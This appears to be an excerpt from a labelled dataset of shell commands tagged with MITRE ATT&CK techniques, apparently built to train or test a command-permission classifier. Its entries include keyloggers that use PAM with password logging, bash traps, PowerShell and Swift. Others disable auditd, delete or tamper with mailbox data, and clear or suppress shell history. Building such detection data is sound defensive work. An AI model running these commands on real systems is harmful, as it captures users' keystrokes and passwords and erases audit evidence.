cowWhySo/permission-command-corpus huggingface dataset:
Command: osascript -e 'tell application "Terminal" to do script "tor"'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: macos
ATT&CK tags: T1090.003
Source rule: Tor Proxy Usage - MacOS
Notes: This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched.
Command: killall tor > /dev/null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: macos
ATT&CK tags: T1090.003
Source rule: Tor Proxy Usage - MacOS
Notes: This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched.
Command: auditctl -D
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.012
Platform: linux
ATT&CK tags: T1562.012
Source rule: Delete all auditd rules using auditctl
Notes: Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.
Command: service auditd restart
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.012
Platform: linux
ATT&CK tags: T1562.012
Source rule: Delete all auditd rules using auditctl
Notes: Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.
Command: auditctl -e 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.012
Platform: linux
ATT&CK tags: T1562.012
Source rule: Disable auditd using auditctl
Notes: The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact se
Command: auditctl -e 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.012
Platform: linux
ATT&CK tags: T1562.012
Source rule: Disable auditd using auditctl
Notes: The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact se
Command: New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore } Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: windows
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on Windows
Notes: Copies and deletes mail data on Windows
Command: Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: windows
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on Windows
Notes: Copies and deletes mail data on Windows
Command: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: linux
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on Linux
Notes: Copies and deletes mail data on Linux
Command: rm -rf /var/spool/mail/copy if [ -f "$(ls -A /var/spool/mail/temp)" ]; then rm /var/spool/mail/temp; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: linux
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on Linux
Notes: Copies and deletes mail data on Linux
Command: mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy rm -rf ~/Library/Mail/copy/*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: macos
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on macOS
Notes: Copies and deletes mail data on macOS
Command: rm -rf ~/Library/Mail/copy
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: macos
ATT&CK tags: T1070.008
Source rule: Copy and Delete Mailbox Data on macOS
Notes: Copies and deletes mail data on macOS
Command: New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore } Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: windows
ATT&CK tags: T1070.008
Source rule: Copy and Modify Mailbox Data on Windows
Notes: Copies and modifies mail data on Windows
Command: mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")"; fi; fi; done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: linux
ATT&CK tags: T1070.008
Source rule: Copy and Modify Mailbox Data on Linux
Notes: Copies and modifies mail data on Linux
Command: mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy echo "Manipulated data" > ~/Library/Mail/copy/manipulated.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.008
Platform: macos
ATT&CK tags: T1070.008
Source rule: Copy and Modify Mailbox Data on macOS
Notes: Copies and modifies mail data on macOS
Command: &"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: windows
ATT&CK tags: T1056.001
Source rule: Input Capture
Notes: Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
Command: Remove-Item $env:TEMP\key.log -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: windows
ATT&CK tags: T1056.001
Source rule: Input Capture
Notes: Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
Command: if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Living off the land Terminal Input Capture on Linux with pam.d
Notes: Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root i
Command: sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Living off the land Terminal Input Capture on Linux with pam.d
Notes: Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root i
Command: PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")' echo "\$PROMPT_COMMAND=$PROMPT_COMMAND" tail /var/log/syslog
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Logging bash history to syslog
Notes: There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bas
Command: unset PROMPT_COMMAND
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Logging bash history to syslog
Notes: There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bas
Command: PS2=`logger -t "$USER" -f ~/.sh_history` $PS2 tail /var/log/messages
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Logging sh history to syslog/messages
Notes: There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile
Command: unset PS2
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Logging sh history to syslog/messages
Notes: There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile
Command: trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG echo "Hello World!" cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Bash session based keylogger
Notes: When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

To gain persistence the command could be added to the users .b
Command: rm #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Bash session based keylogger
Notes: When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

To gain persistence the command could be added to the users .b
Command: cp -v /etc/pam.d/sshd /tmp/ echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd systemctl restart sshd systemctl restart auditd ssh #{user_account}@localhost whoami sudo su whoami exit exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: SSHD PAM keylogger
Notes: Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
Command: cp -fv /tmp/sshd /etc/pam.d/
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: SSHD PAM keylogger
Notes: Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
Command: auditctl -a always,exit -F arch=b64 -S execve -k CMDS auditctl -a always,exit -F arch=b32 -S execve -k CMDS whoami; ausearch -i --start now
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Auditd keylogger
Notes: The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.
Command: systemctl restart auditd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: linux
ATT&CK tags: T1056.001
Source rule: Auditd keylogger
Notes: The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.
Command: swift #{swift_src} -keylog
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: macos
ATT&CK tags: T1056.001
Source rule: MacOS Swift Keylogger
Notes: Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
Command: kill `pgrep swift-frontend`
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.001
Platform: macos
ATT&CK tags: T1056.001
Source rule: MacOS Swift Keylogger
Notes: Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
Command: export HISTCONTROL=ignoreboth #{evil_command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux,macos
ATT&CK tags: T1562.003
Source rule: Disable history collection
Notes: Disables history collection in shells
Command: export HISTSIZE=0 #{evil_command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Disable history collection (freebsd)
Notes: Disables history collection in shells
Command: cp $HISTFILE $HISTFILE.OLD if ((${#HISTFILE[@]})); then echo $HISTFILE; fi echo "" > $HISTFILE if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo "$HISTFILE is larger than 1k"; fi ls -la $HISTFILE cat $HISTFILE history -c if [ $(history |wc -l) -eq 1 ]; then echo "History cache cleared"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Clear bash history
Notes: An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. 

In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo "" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.
Command: mv -f $HISTFILE.OLD $HISTFILE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Clear bash history
Notes: An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. 

In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo "" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.
Command: TEST=$(echo $HISTCONTROL) if [ "$HISTCONTROL" != "ignoreboth" ]; then export HISTCONTROL="ignoreboth"; fi history -c ls -la $HISTFILE # " ls -la $HISTFILE" if [ $(history |wc -l) -eq 1 ]; then echo "ls -la is not in history cache"; fi if [ "$HISTCONTROL" != "erasedups" ]; then export HISTCONTROL="erasedups"; fi history -c ls -la $HISTFILE ls -la $HISTFILE ls -la $HISTFILE if [ $(history |wc -l) -eq 2 ]; then echo "Their is only one entry for ls -la $HISTFILE"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTCONTROL environment variable
Notes: An attacker may exploit the space before a command (e.g. " ls") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. 

In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HIS
Command: export HISTCONTROL=$(echo $TEST)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTCONTROL environment variable
Notes: An attacker may exploit the space before a command (e.g. " ls") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. 

In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HIS
Command: TEST=$(echo $HISTFILESIZE) echo $HISTFILESIZE export HISTFILESIZE=0 echo "runnning some commands to populate the history" whoami groups if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTFILESIZE environment variable
Notes: An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.
Command: echo $HISTSIZE export HISTSIZE=0 echo "runnning some commands to populate the history" whoami groups if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; else HIST_LENGTH=$(wc -l $HISTFILE); echo "\$HISTSIZE is not zero, history size is $HIST_LENGTH"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTSIZE environment variable
Notes: An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.
Command: export HISTSIZE=100
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTSIZE environment variable
Notes: An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.